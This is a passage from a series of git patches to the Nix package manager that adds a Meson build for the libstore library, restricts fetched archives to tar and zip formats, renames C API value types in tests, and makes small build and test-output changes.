-        Value * g = nix_alloc_value(ctx, state);
+        nix_value * g = nix_alloc_value(ctx, state);
         nix_expr_eval_from_string(
             ctx,
             state,
@@ -365,7 +365,7 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg)
         nix_gc_decref(ctx, g);
     }
 
-    Value * r = nix_alloc_value(ctx, state);
+    nix_value * r = nix_alloc_value(ctx, state);
     nix_init_apply(ctx, r, f, e);
     assert_ctx_ok();
 
@@ -377,7 +377,7 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg)
     ASSERT_EQ(1, n);
 
     // nix_get_attr_byname isn't lazy (it could have been) so it will throw the exception
-    Value * foo = nix_get_attr_byname(ctx, r, state, "foo");
+    nix_value * foo = nix_get_attr_byname(ctx, r, state, "foo");
     ASSERT_EQ(nullptr, foo);
     ASSERT_THAT(ctx->last_err.value(), testing::HasSubstr("error message for test case nix_value_init_apply_lazy_arg"));
 
@@ -388,7 +388,7 @@ TEST_F(nix_api_expr_test, nix_value_init_apply_lazy_arg)
 
 TEST_F(nix_api_expr_test, nix_copy_value)
 {
-    Value * source = nix_alloc_value(ctx, state);
+    nix_value * source = nix_alloc_value(ctx, state);
 
     nix_init_int(ctx, source, 42);
     nix_copy_value(ctx, value, source);

From 03883f0d1d3a35e95a5f30c911503c53bfc5693a Mon Sep 17 00:00:00 2001
From: Hamir Mahal <hamirmahal@gmail.com>
Date: Thu, 13 Jun 2024 14:13:21 -0700
Subject: [PATCH 353/528] fix: copy in `install-multi-user.sh` (#10902)

---
 scripts/install-multi-user.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/scripts/install-multi-user.sh b/scripts/install-multi-user.sh
index ad3ee888138..6aee073e3f9 100644
--- a/scripts/install-multi-user.sh
+++ b/scripts/install-multi-user.sh
@@ -754,7 +754,7 @@ I will:
    (if it does, I will tell you how to clean them up.)
  - create local users (see the list above for the users I'll make)
  - create a local group ($NIX_BUILD_GROUP_NAME)
- - install Nix in to $NIX_ROOT
+ - install Nix in $NIX_ROOT
  - create a configuration file in /etc/nix
  - set up the "default profile" by creating some Nix-related files in
    $ROOT_HOME

From ea8e49bea5c2fdc93b87f52cbb58001e30e5f94d Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Thu, 13 Jun 2024 17:46:10 -0400
Subject: [PATCH 354/528] Force the cpuid option for libutil rather than
 relying on detection

This is more robust, and match's Nixpkgs policy to force enable flags
statically by default (a common distro thing).
---
 src/libutil/package.nix | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/src/libutil/package.nix b/src/libutil/package.nix
index a461dccb85a..dd93e5663e0 100644
--- a/src/libutil/package.nix
+++ b/src/libutil/package.nix
@@ -102,6 +102,10 @@ mkDerivation (finalAttrs: {
     ''
   );
 
+  mesonFlags = [
+    (lib.mesonEnable "cpuid" stdenv.hostPlatform.isx86_64)
+  ];
+
   env = {
     # Needed for Meson to find Boost.
     # https://github.com/NixOS/nixpkgs/issues/86131.

From 81004a05c60d579c935bd300146f4a0c918bdbeb Mon Sep 17 00:00:00 2001
From: John Ericson <John.Ericson@Obsidian.Systems>
Date: Tue, 4 Jun 2024 09:28:27 -0400
Subject: [PATCH 355/528] Build `nix-store` with Meson
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Special thanks to everyone that has worked on a Meson port so far,
@p01arst0rm and @Qyriad in particular.

Co-Authored-By: p01arst0rm <polar@ever3st.com>
Co-Authored-By: Artemis Tosini <lix@artem.ist>
Co-Authored-By: Artemis Tosini <me@artem.ist>
Co-Authored-By: Felix Uhl <felix.uhl@outlook.com>
Co-Authored-By: Jade Lovelace <lix@jade.fyi>
Co-Authored-By: Lunaphied <lunaphied@lunaphied.me>
Co-Authored-By: Maximilian Bosch <maximilian@mbosch.me>
Co-Authored-By: Pierre Bourdon <delroth@gmail.com>
Co-Authored-By: Qyriad <qyriad@qyriad.me>
Co-Authored-By: Rebecca Turner <rbt@sent.as>
Co-Authored-By: Winter <winter@winter.cafe>
Co-Authored-By: eldritch horrors <pennae@lix.systems>
Co-Authored-By: jade <lix@jade.fyi>
Co-Authored-By: julia <midnight@trainwit.ch>
Co-Authored-By: rebecca “wiggles” turner <rbt@sent.as>
Co-Authored-By: wiggles dog <rbt@sent.as>
Co-Authored-By: fricklerhandwerk <valentin@fricklerhandwerk.de>
Co-authored-by: Eli Schwartz <eschwartz93@gmail.com>
---
 flake.nix                             |  15 +-
 maintainers/hydra.nix                 |   6 +-
 meson.build                           |   1 +
 src/libstore/.version                 |   1 +
 src/libstore/build/derivation-goal.cc |   2 +-
 src/libstore/linux/meson.build        |  10 +
 src/libstore/meson.build              | 452 ++++++++++++++++++++++++++
 src/libstore/meson.options            |  25 ++
 src/libstore/package.nix              | 142 ++++++++
 src/libstore/unix/meson.build         |  19 ++
 src/libstore/windows/meson.build      |  11 +
 11 files changed, 681 insertions(+), 3 deletions(-)
 create mode 120000 src/libstore/.version
 create mode 100644 src/libstore/linux/meson.build
 create mode 100644 src/libstore/meson.build
 create mode 100644 src/libstore/meson.options
 create mode 100644 src/libstore/package.nix
 create mode 100644 src/libstore/unix/meson.build
 create mode 100644 src/libstore/windows/meson.build

diff --git a/flake.nix b/flake.nix
index 599c6dfbe82..377247cb84c 100644
--- a/flake.nix
+++ b/flake.nix
@@ -169,6 +169,17 @@
               ;
           };
 
+          nix-store = final.callPackage ./src/libstore/package.nix {
+            inherit
+              fileset
+              stdenv
+              officialRelease
+              versionSuffix
+              ;
+            libseccomp = final.libseccomp-nix;
+            busybox-sandbox-shell = final.busybox-sandbox-shell or final.default-busybox-sandbox-shell;
+          };
+
           nix =
             final.callPackage ./package.nix {
               inherit
@@ -260,6 +271,7 @@
         {
           "nix" = { };
           "nix-util" = { };
+          "nix-store" = { };
         }
         // lib.optionalAttrs (builtins.elem system linux64BitSystems) {
         dockerImage =
@@ -312,10 +324,11 @@
               "${(pkgs.formats.yaml { }).generate "pre-commit-config.yaml" modular.pre-commit.settings.rawConfig}";
           };
 
-          inherit (pkgs.nix-util) mesonFlags;
+          mesonFlags = pkgs.nix-util.mesonFlags ++ pkgs.nix-store.mesonFlags;
 
           nativeBuildInputs = attrs.nativeBuildInputs or []
             ++ pkgs.nix-util.nativeBuildInputs
+            ++ pkgs.nix-store.nativeBuildInputs
             ++ [
               modular.pre-commit.settings.package
               (pkgs.writeScriptBin "pre-commit-hooks-install"
diff --git a/maintainers/hydra.nix b/maintainers/hydra.nix
index 2541b061ef7..d53647549bf 100644
--- a/maintainers/hydra.nix
+++ b/maintainers/hydra.nix
@@ -33,7 +33,11 @@ let
       doBuild = false;
     };
 
-  forAllPackages = lib.genAttrs [ "nix" "nix-util" ];
+  forAllPackages = lib.genAttrs [
+    "nix"
+    "nix-util"
+    "nix-store"
+  ];
 in
 {
   # Binary package for various platforms.
diff --git a/meson.build b/meson.build
index fc644187762..10883d832b9 100644
--- a/meson.build
+++ b/meson.build
@@ -7,3 +7,4 @@ project('nix-dev-shell', 'cpp',
 )
 
 subproject('libutil')
+subproject('libstore')
diff --git a/src/libstore/.version b/src/libstore/.version
new file mode 120000
index 00000000000..b7badcd0cc8
--- /dev/null
+++ b/src/libstore/.version
@@ -0,0 +1 @@
+../../.version
\ No newline at end of file
diff --git a/src/libstore/build/derivation-goal.cc b/src/libstore/build/derivation-goal.cc
index e72ef4cf9a7..146a060f3a9 100644
--- a/src/libstore/build/derivation-goal.cc
+++ b/src/libstore/build/derivation-goal.cc
@@ -26,7 +26,7 @@
 #include <unistd.h>
 
 #ifndef _WIN32 // TODO abstract over proc exit status
-# include <sys/wait.h>
+#  include <sys/wait.h>
 #endif
 
 #include <nlohmann/json.hpp>
diff --git a/src/libstore/linux/meson.build b/src/libstore/linux/meson.build
new file mode 100644
index 00000000000..0c494b5d62e
--- /dev/null
+++ b/src/libstore/linux/meson.build
@@ -0,0 +1,10 @@
+sources += files(
+  'personality.cc',
+)
+
+include_dirs += include_directories('.')
+
+headers += files(
+  'fchmodat2-compat.hh',
+  'personality.hh',
+)
diff --git a/src/libstore/meson.build b/src/libstore/meson.build
new file mode 100644
index 00000000000..c9c6f66f15e
--- /dev/null
+++ b/src/libstore/meson.build
@@ -0,0 +1,452 @@
+project('nix-store', 'cpp',
+  version : files('.version'),
+  default_options : [
+    'cpp_std=c++2a',
+    # TODO(Qyriad): increase the warning level
+    'warning_level=1',
+    'debug=true',
+    'optimization=2',
+    'errorlogs=true', # Please print logs for tests that fail
+  ],
+  meson_version : '>= 1.1',
+  license : 'LGPL-2.1-or-later',
+)
+
+cxx = meson.get_compiler('cpp')
+
+# See note in ../nix-util/meson.build
+deps_private = [ ]
+
+# See note in ../nix-util/meson.build
+deps_public = [ ]
+
+# See note in ../nix-util/meson.build
+deps_other = [ ]
+
+configdata = configuration_data()
+
+# TODO rename, because it will conflict with downstream projects
+configdata.set_quoted('PACKAGE_VERSION', meson.project_version())
+
+configdata.set_quoted('SYSTEM', host_machine.system())
+
+nix_util = dependency('nix-util')
+if nix_util.type_name() == 'internal'
+  # subproject sadly no good for pkg-config module
+  deps_other += nix_util
+else
+  deps_public += nix_util
+endif
+
+run_command('ln', '-s',
+  meson.project_build_root() / '__nothing_link_target',
+  meson.project_build_root() / '__nothing_symlink',
+  check : true,
+)
+can_link_symlink = run_command('ln',
+  meson.project_build_root() / '__nothing_symlink',
+  meson.project_build_root() / '__nothing_hardlink',
+  check : false,
+).returncode() == 0
+run_command('rm', '-f',
+  meson.project_build_root() / '__nothing_symlink',
+  meson.project_build_root() / '__nothing_hardlink',
+  check : true,
+)
+summary('can hardlink to symlink', can_link_symlink, bool_yn : true)
+configdata.set('CAN_LINK_SYMLINK', can_link_symlink.to_int())
+
+# Check for each of these functions, and create a define like `#define HAVE_LCHOWN 1`.
+#
+# Only need to do functions that deps (like `libnixutil`) didn't already
+# check for.
+check_funcs = [
+  # Optionally used for canonicalising files from the build
+  'lchown',
+]
+foreach funcspec : check_funcs
+  define_name = 'HAVE_' + funcspec.underscorify().to_upper()
+  define_value = cxx.has_function(funcspec).to_int()
+  configdata.set(define_name, define_value)
+endforeach
+
+has_acl_support = cxx.has_header('sys/xattr.h') \
+  and cxx.has_function('llistxattr') \
+  and cxx.has_function('lremovexattr')
+configdata.set('HAVE_ACL_SUPPORT', has_acl_support.to_int())
+
+# This is only conditional to work around
+# https://github.com/mesonbuild/meson/issues/13293. It should be
+# unconditional.
+if not (host_machine.system() == 'windows' and cxx.get_id() == 'gcc')
+  deps_private += dependency('threads')
+endif
+
+boost = dependency(
+  'boost',
+  modules : ['container'],
+)
+# boost is a public dependency, but not a pkg-config dependency unfortunately, so we
+# put in `deps_other`.
+deps_other += boost
+
+curl = dependency('libcurl', 'curl')
+deps_private += curl
+
+# seccomp only makes sense on Linux
+is_linux = host_machine.system() == 'linux'
+seccomp_required = get_option('seccomp-sandboxing')
+if not is_linux and seccomp_required.enabled()
+  warning('Force-enabling seccomp on non-Linux does not make sense')
+endif
+seccomp = dependency('libseccomp', 'seccomp', required : seccomp_required, version : '>=2.5.5')
+if is_linux and not seccomp.found()
+  warning('Sandbox security is reduced because libseccomp has not been found! Please provide libseccomp if it supports your CPU architecture.')
+endif
+configdata.set('HAVE_SECCOMP', seccomp.found().to_int())
+deps_private += seccomp
+
+nlohmann_json = dependency('nlohmann_json', version : '>= 3.9')
+deps_public += nlohmann_json
+
+sqlite = dependency('sqlite3', 'sqlite', version : '>=3.6.19')
+deps_private += sqlite
+
+
+enable_embedded_sandbox_shell = get_option('embedded-sandbox-shell')
+if enable_embedded_sandbox_shell
+  # This one goes in config.h
+  # The path to busybox is passed as a -D flag when compiling this_library.
+  # Idk why, ask the old buildsystem.
+  configdata.set('HAVE_EMBEDDED_SANDBOX_SHELL', 1)
+endif
+
+generated_headers = []
+foreach header : [ 'schema.sql', 'ca-specific-schema.sql' ]
+  generated_headers += custom_target(
+    command : [ 'bash', '-c', '{ echo \'R"__NIX_STR(\' && cat @INPUT@ && echo \')__NIX_STR"\'; } > "$1"', '_ignored_argv0', '@OUTPUT@' ],
+    input : header,
+    output : '@PLAINNAME@.gen.hh',
+    install : true,
+    install_dir : get_option('includedir') / 'nix'
+  )
+endforeach
+
+if enable_embedded_sandbox_shell
+  hexdump = find_program('hexdump', native : true)
+  embedded_sandbox_shell_gen = custom_target(
+    'embedded-sandbox-shell.gen.hh',
+    command : [
+      hexdump,
+      '-v',
+      '-e',
+      '1/1 "0x%x," "\n"'
+    ],
+    input : busybox.full_path(),
+    output : 'embedded-sandbox-shell.gen.hh',
+    capture : true,
+    feed : true,
+  )
+  generated_headers += embedded_sandbox_shell_gen
+endif
+
+config_h = configure_file(
+  configuration : configdata,
+  output : 'config-store.h',
+)
+
+add_project_arguments(
+  # TODO(Qyriad): Yes this is how the autoconf+Make system did it.
+  # It would be nice for our headers to be idempotent instead.
+  '-include', 'config-util.h',
+  '-include', 'config-store.h',
+  '-Wno-deprecated-declarations',
+  '-Wimplicit-fallthrough',
+  '-Werror=switch',
+  '-Werror=switch-enum',
+  '-Wdeprecated-copy',
+  '-Wignored-qualifiers',
+  # Enable assertions in libstdc++ by default. Harmless on libc++. Benchmarked
+  # at ~1% overhead in `nix search`.
+  #
+  # FIXME: remove when we get meson 1.4.0 which will default this to on for us:
+  # https://mesonbuild.com/Release-notes-for-1-4-0.html#ndebug-setting-now-controls-c-stdlib-assertions
+  '-D_GLIBCXX_ASSERTIONS=1',
+  language : 'cpp',
+)
+
+sources = files(
+  'binary-cache-store.cc',
+  'build-result.cc',
+  'build/derivation-goal.cc',
+  'build/drv-output-substitution-goal.cc',
+  'build/entry-points.cc',
+  'build/goal.cc',
+  'build/substitution-goal.cc',
+  'build/worker.cc',
+  'builtins/buildenv.cc',
+  'builtins/fetchurl.cc',
+  'builtins/unpack-channel.cc',
+  'common-protocol.cc',
+  'content-address.cc',
+  'daemon.cc',
+  'derivations.cc',
+  'derived-path-map.cc',
+  'derived-path.cc',
+  'downstream-placeholder.cc',
+  'dummy-store.cc',
+  'export-import.cc',
+  'filetransfer.cc',
+  'gc.cc',
+  'globals.cc',
+  'http-binary-cache-store.cc',
+  'indirect-root-store.cc',
+  'keys.cc',
+  'legacy-ssh-store.cc',
+  'local-binary-cache-store.cc',
+  'local-fs-store.cc',
+  'local-overlay-store.cc',
+  'local-store.cc',
+  'log-store.cc',
+  'machines.cc',
+  'make-content-addressed.cc',
+  'misc.cc',
+  'names.cc',
+  'nar-accessor.cc',
+  'nar-info-disk-cache.cc',
+  'nar-info.cc',
+  'optimise-store.cc',
+  'outputs-spec.cc',
+  'parsed-derivations.cc',
+  'path-info.cc',
+  'path-references.cc',
+  'path-with-outputs.cc',
+  'path.cc',
+  'pathlocks.cc',
+  'posix-fs-canonicalise.cc',
+  'profiles.cc',
+  'realisation.cc',
+  'remote-fs-accessor.cc',
+  'remote-store.cc',
+  's3-binary-cache-store.cc',
+  'serve-protocol-connection.cc',
+  'serve-protocol.cc',
+  'sqlite.cc',
+  'ssh-store-config.cc',
+  'ssh-store.cc',
+  'ssh.cc',
+  'store-api.cc',
+  'store-reference.cc',
+  'uds-remote-store.cc',
+  'worker-protocol-connection.cc',
+  'worker-protocol.cc',
+)
+
+include_dirs = [
+  include_directories('.'),
+  include_directories('build'),
+]
+
+headers = [config_h] +files(
+  'binary-cache-store.hh',
+  'build-result.hh',
+  'build/derivation-goal.hh',
+  'build/drv-output-substitution-goal.hh',
+  'build/goal.hh',
+  'build/substitution-goal.hh',
+  'build/worker.hh',
+  'builtins.hh',
+  'builtins/buildenv.hh',
+  'common-protocol-impl.hh',
+  'common-protocol.hh',
+  'content-address.hh',
+  'daemon.hh',
+  'derivations.hh',
+  'derived-path-map.hh',
+  'derived-path.hh',
+  'downstream-placeholder.hh',
+  'filetransfer.hh',
+  'gc-store.hh',
+  'globals.hh',
+  'indirect-root-store.hh',
+  'keys.hh',
+  'legacy-ssh-store.hh',
+  'length-prefixed-protocol-helper.hh',
+  'local-fs-store.hh',
+  'local-overlay-store.hh',
+  'local-store.hh',
+  'log-store.hh',
+  'machines.hh',
+  'make-content-addressed.hh',
+  'names.hh',
+  'nar-accessor.hh',
+  'nar-info-disk-cache.hh',
+  'nar-info.hh',
+  'outputs-spec.hh',
+  'parsed-derivations.hh',
+  'path-info.hh',
+  'path-references.hh',
+  'path-regex.hh',
+  'path-with-outputs.hh',
+  'path.hh',
+  'pathlocks.hh',
+  'posix-fs-canonicalise.hh',
+  'profiles.hh',
+  'realisation.hh',
+  'remote-fs-accessor.hh',
+  'remote-store-connection.hh',
+  'remote-store.hh',
+  's3-binary-cache-store.hh',
+  's3.hh',
+  'serve-protocol-connection.hh',
+  'serve-protocol-impl.hh',
+  'serve-protocol.hh',
+  'sqlite.hh',
+  'ssh-store-config.hh',
+  'ssh.hh',
+  'store-api.hh',
+  'store-cast.hh',
+  'store-dir-config.hh',
+  'store-reference.hh',
+  'uds-remote-store.hh',
+  'worker-protocol-connection.hh',
+  'worker-protocol-impl.hh',
+  'worker-protocol.hh',
+)
+
+if host_machine.system() == 'linux'
+  subdir('linux')
+endif
+
+if host_machine.system() == 'windows'
+  subdir('windows')
+else
+  subdir('unix')
+endif
+
+fs = import('fs')
+
+prefix = get_option('prefix')
+# For each of these paths, assume that it is relative to the prefix unless
+# it is already an absolute path (which is the default for store-dir, state-dir, and log-dir).
+path_opts = [
+  # Meson built-ins.
+  'datadir',
+  'bindir',
+  'mandir',
+  'libdir',
+  'includedir',
+  'libexecdir',
+  # Homecooked Nix directories.
+  'store-dir',
+  'state-dir',
+  'log-dir',
+]
+# For your grepping pleasure, this loop sets the following variables that aren't mentioned
+# literally above:
+# store_dir
+# state_dir
+# log_dir
+# profile_dir
+foreach optname : path_opts
+  varname = optname.replace('-', '_')
+  path = get_option(optname)
+  if fs.is_absolute(path)
+    set_variable(varname, path)
+  else
+    set_variable(varname, prefix / path)
+  endif
+endforeach
+
+# sysconfdir doesn't get anything installed to directly, and is only used to
+# tell Nix where to look for nix.conf, so it doesn't get appended to prefix.
+sysconfdir = get_option('sysconfdir')
+if not fs.is_absolute(sysconfdir)
+  sysconfdir = '/' / sysconfdir
+endif
+
+lsof = find_program('lsof', required : false)
+
+# Aside from prefix itself, each of these was made into an absolute path
+# by joining it with prefix, unless it was already an absolute path
+# (which is the default for store-dir, state-dir, and log-dir).
+cpp_str_defines = {
+  'NIX_PREFIX':    prefix,
+  'NIX_STORE_DIR': store_dir,
+  'NIX_DATA_DIR':  datadir,
+  'NIX_STATE_DIR': state_dir / 'nix',
+  'NIX_LOG_DIR':   log_dir,
+  'NIX_CONF_DIR':  sysconfdir / 'nix',
+  'NIX_BIN_DIR':   bindir,
+  'NIX_MAN_DIR':   mandir,
+}
+
+if lsof.found()
+  lsof_path = lsof.full_path()
+else
+  # Just look up on the PATH
+  lsof_path = 'lsof'
+endif
+cpp_str_defines += {
+  'LSOF': lsof_path
+}
+
+#if busybox.found()
+  cpp_str_defines += {
+#    'SANDBOX_SHELL': busybox.full_path()
+  }
+#endif
+
+cpp_args = []
+
+foreach name, value : cpp_str_defines
+  cpp_args += [
+    '-D' + name + '=' + '"' + value + '"'
+  ]
+endforeach
+
+if host_machine.system() == 'cygwin' or host_machine.system() == 'windows'
+  # See note in `../nix-util/meson.build`
+  linker_export_flags = ['-Wl,--export-all-symbols']
+else
+  linker_export_flags = []
+endif
+
+this_library = library(
+  'nixstore',
+  generated_headers,
+  sources,
+  dependencies : deps_public + deps_private + deps_other,
+  include_directories : include_dirs,
+  cpp_args : cpp_args,
+  link_args: linker_export_flags,
+  install : true,
+)
+
+install_headers(headers, subdir : 'nix', preserve_path : true)
+
+requires = deps_public
+if nix_util.type_name() == 'internal'
+  # `requires` cannot contain declared dependencies (from the
+  # subproject), so we need to do this manually
+  requires = [ 'nix-util' ] + requires
+endif
+
+import('pkgconfig').generate(
+  this_library,
+  filebase : meson.project_name(),
+  name : 'Nix',
+  description : 'Nix Package Manager',
+  subdirs : ['nix'],
+  extra_cflags : ['-std=c++2a'],
+  requires : requires,
+  requires_private : deps_private,
+  libraries_private : ['-lboost_container'],
+)
+
+meson.override_dependency(meson.project_name(), declare_dependency(
+  include_directories : include_dirs,
+  link_with : this_library,
+  compile_args : ['-std=c++2a'],
+  dependencies : [nix_util],
+))
diff --git a/src/libstore/meson.options b/src/libstore/meson.options
new file mode 100644
index 00000000000..723a8e020fd
--- /dev/null
+++ b/src/libstore/meson.options
@@ -0,0 +1,25 @@
+# vim: filetype=meson
+
+option('embedded-sandbox-shell', type : 'boolean', value : false,
+  description : 'include the sandbox shell in the Nix binary',
+)
+
+option('seccomp-sandboxing', type : 'feature',
+  description : 'build support for seccomp sandboxing (recommended unless your arch doesn\'t support libseccomp, only relevant on Linux)',
+)
+
+option('sandbox-shell', type : 'string', value : 'busybox',
+  description : 'path to a statically-linked shell to use as /bin/sh in sandboxes (usually busybox)',
+)
+
+option('store-dir', type : 'string', value : '/nix/store',
+  description : 'path of the Nix store',
+)
+
+option('state-dir', type : 'string', value : '/nix/var',
+  description : 'path to store state in for Nix',
+)
+
+option('log-dir', type : 'string', value : '/nix/var/log/nix',
+  description : 'path to store logs in for Nix',
+)
diff --git a/src/libstore/package.nix b/src/libstore/package.nix
new file mode 100644
index 00000000000..e54dfe597e0
--- /dev/null
+++ b/src/libstore/package.nix
@@ -0,0 +1,142 @@
+{ lib
+, stdenv
+, releaseTools
+, fileset
+
+, meson
+, ninja
+, pkg-config
+
+, nix-util
+, boost
+, curl
+, aws-sdk-cpp
+, libseccomp
+, nlohmann_json
+, man
+, sqlite
+
+, busybox-sandbox-shell ? null
+
+# Configuration Options
+
+, versionSuffix ? ""
+, officialRelease ? false
+
+# Check test coverage of Nix. Probably want to use with at least
+# one of `doCheck` or `doInstallCheck` enabled.
+, withCoverageChecks ? false
+
+# Avoid setting things that would interfere with a functioning devShell
+, forDevShell ? false
+}:
+
+let
+  version = lib.fileContents ./.version + versionSuffix;
+
+  mkDerivation =
+    if withCoverageChecks
+    then
+      # TODO support `finalAttrs` args function in
+      # `releaseTools.coverageAnalysis`.
+      argsFun:
+         releaseTools.coverageAnalysis (let args = argsFun args; in args)
+    else stdenv.mkDerivation;
+in
+
+mkDerivation (finalAttrs: {
+  pname = "nix-store";
+  inherit version;
+
+  src = fileset.toSource {
+    root = ./.;
+    fileset = fileset.unions [
+      ./meson.build
+      ./meson.options
+      ./linux/meson.build
+      ./unix/meson.build
+      ./windows/meson.build
+      (fileset.fileFilter (file: file.hasExt "cc") ./.)
+      (fileset.fileFilter (file: file.hasExt "hh") ./.)
+      (fileset.fileFilter (file: file.hasExt "sb") ./.)
+      (fileset.fileFilter (file: file.hasExt "md") ./.)
+      (fileset.fileFilter (file: file.hasExt "sql") ./.)
+    ];
+  };
+
+  outputs = [ "out" "dev" ];
+
+  nativeBuildInputs = [
+    meson
+    ninja
+    pkg-config
+  ];
+
+  buildInputs = [
+    boost
+    curl
+    sqlite
+  ] ++ lib.optional stdenv.hostPlatform.isLinux libseccomp
+    # There have been issues building these dependencies
+    ++ lib.optional (stdenv.hostPlatform == stdenv.buildPlatform && (stdenv.isLinux || stdenv.isDarwin))
+      (aws-sdk-cpp.override {
+        apis = ["s3" "transfer"];
+        customMemoryManagement = false;
+      })
+  ;
+
+  propagatedBuildInputs = [
+    nix-util
+    nlohmann_json
+  ];
+
+  disallowedReferences = [ boost ];
+
+  preConfigure =
+    # "Inline" .version so it's not a symlink, and includes the suffix
+    ''
+      echo ${version} > .version
+    '';
+
+  mesonFlags = [
+    (lib.mesonEnable "seccomp-sandboxing" stdenv.hostPlatform.isLinux)
+    (lib.mesonBool "embedded-sandbox-shell" stdenv.hostPlatform.isStatic)
+  ] ++ lib.optionals stdenv.hostPlatform.isLinux [
+    (lib.mesonOption "sandbox-shell" "${busybox-sandbox-shell}/bin/busybox")
+  ];
+
+  env = {
+    # Needed for Meson to find Boost.
+    # https://github.com/NixOS/nixpkgs/issues/86131.
+    BOOST_INCLUDEDIR = "${lib.getDev boost}/include";
+    BOOST_LIBRARYDIR = "${lib.getLib boost}/lib";
+  } // lib.optionalAttrs (stdenv.isLinux && !(stdenv.hostPlatform.isStatic && stdenv.system == "aarch64-linux")) {
+    LDFLAGS = "-fuse-ld=gold";
+  };
+
+  enableParallelBuilding = true;
+
+  postInstall =
+    # Remove absolute path to boost libs that ends up in `Libs.private`
+    # by default, and would clash with out `disallowedReferences`. Part
+    # of the https://github.com/NixOS/nixpkgs/issues/45462 workaround.
+    ''
+      sed -i "$out/lib/pkgconfig/nix-store.pc" -e 's, ${lib.getLib boost}[^ ]*,,g'
+    '';
+
+  separateDebugInfo = !stdenv.hostPlatform.isStatic;
+
+  # TODO Always true after https://github.com/NixOS/nixpkgs/issues/318564
+  strictDeps = !withCoverageChecks;
+
+  hardeningDisable = lib.optional stdenv.hostPlatform.isStatic "pie";
+
+  meta = {
+    platforms = lib.platforms.unix ++ lib.platforms.windows;
+  };
+
+} // lib.optionalAttrs withCoverageChecks {
+  lcovFilter = [ "*/boost/*" "*-tab.*" ];
+
+  hardeningDisable = [ "fortify" ];
+})
diff --git a/src/libstore/unix/meson.build b/src/libstore/unix/meson.build
new file mode 100644
index 00000000000..d9d19013107
--- /dev/null
+++ b/src/libstore/unix/meson.build
@@ -0,0 +1,19 @@
+sources += files(
+  'build/child.cc',
+  'build/hook-instance.cc',
+  'build/local-derivation-goal.cc',
+  'pathlocks.cc',
+  'user-lock.cc',
+)
+
+include_dirs += include_directories(
+  '.',
+  'build',
+)
+
+headers += files(
+  'build/child.hh',
+  'build/hook-instance.hh',
+  'build/local-derivation-goal.hh',
+  'user-lock.hh',
+)
diff --git a/src/libstore/windows/meson.build b/src/libstore/windows/meson.build
new file mode 100644
index 00000000000..b81c5b2afa7
--- /dev/null
+++ b/src/libstore/windows/meson.build
@@ -0,0 +1,11 @@
+sources += files(
+  'pathlocks.cc',
+)
+
+include_dirs += include_directories(
+  '.',
+  #'build',
+)
+
+headers += files(
+)

From 5a9e1c0d20e2332c79fb0fd7570315a5d93041f2 Mon Sep 17 00:00:00 2001
From: Andreas Rammhold <andreas@rammhold.de>
Date: Sat, 15 Jun 2024 14:02:17 +0200
Subject: [PATCH 356/528] Restrict supported tarball formats to actual Tarballs

The documentation is clear about the supported formats (with at least
`builtins.fetchTarball`). The way the code was written previously it
supported all the formats that libarchive supported. That is a
surprisingly large amount of formats that are likely not on the radar
of the Nix developers and users. Before people end up relying on
this (or if they do) it is better to break it now before it becomes a
widespread "feature".

Zip file support has been retained as (at least to my knowledge)
historically that has been used to fetch nixpkgs in some shell
expressions *many* years back.

Fixes https://github.com/NixOS/nix/issues/10917
---
 src/libutil/tarfile.cc | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc
index 6bb2bd2f32b..f0e24e937cd 100644
--- a/src/libutil/tarfile.cc
+++ b/src/libutil/tarfile.cc
@@ -79,7 +79,8 @@ TarArchive::TarArchive(Source & source, bool raw, std::optional<std::string> com
     }
 
     if (!raw) {
-        archive_read_support_format_all(archive);
+        archive_read_support_format_tar(archive);
+        archive_read_support_format_zip(archive);
     } else {
         archive_read_support_format_raw(archive);
         archive_read_support_format_empty(archive);
@@ -96,7 +97,8 @@ TarArchive::TarArchive(const Path & path)
     , buffer(defaultBufferSize)
 {
     archive_read_support_filter_all(archive);
-    archive_read_support_format_all(archive);
+    archive_read_support_format_tar(archive);
+    archive_read_support_format_zip(archive);
     archive_read_set_option(archive, NULL, "mac-ext", NULL);
     check(archive_read_open_filename(archive, path.c_str(), 16384), "failed to open archive: %s");
 }

From 2894c1b38e961fe2cc22df2a8247773cd012dcac Mon Sep 17 00:00:00 2001
From: Robert Hensing <robert@roberthensing.nl>
Date: Sun, 16 Jun 2024 16:34:49 +0200
Subject: [PATCH 357/528] WIP add testresults output

---
 package.nix                     | 8 +++++++-
 tests/unit/libexpr/local.mk     | 2 +-
 tests/unit/libfetchers/local.mk | 2 +-
 tests/unit/libstore/local.mk    | 2 +-
 tests/unit/libutil/local.mk     | 2 +-
 5 files changed, 11 insertions(+), 5 deletions(-)

diff --git a/package.nix b/package.nix
index 677ee73c7bd..5986edeb43c 100644
--- a/package.nix
+++ b/package.nix
@@ -208,7 +208,9 @@ in {
     # If we are doing just build or just docs, the one thing will use
     # "out". We only need additional outputs if we are doing both.
     ++ lib.optional (doBuild && (enableManual || enableInternalAPIDocs || enableExternalAPIDocs)) "doc"
-    ++ lib.optional installUnitTests "check";
+    ++ lib.optional installUnitTests "check"
+    ++ lib.optional doCheck "testresults"
+    ;
 
   nativeBuildInputs = [
     autoconf-archive
@@ -317,6 +319,10 @@ in {
 
   makeFlags = "profiledir=$(out)/etc/profile.d PRECOMPILE_HEADERS=1";
 
+  preCheck = ''
+    mkdir $testresults
+  '';
+
   installTargets = lib.optional doBuild "install"
     ++ lib.optional enableInternalAPIDocs "internal-api-html"
     ++ lib.optional enableExternalAPIDocs "external-api-html";
diff --git a/tests/unit/libexpr/local.mk b/tests/unit/libexpr/local.mk
index 09a7dfca15a..1617e282351 100644
--- a/tests/unit/libexpr/local.mk
+++ b/tests/unit/libexpr/local.mk
@@ -4,7 +4,7 @@ programs += libexpr-tests
 
 libexpr-tests_NAME := libnixexpr-tests
 
-libexpr-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data
+libexpr-tests_ENV := _NIX_TEST_UNIT_DATA=$(d)/data GTEST_OUTPUT=xml:$$testresults/libexpr-tests.xml
 
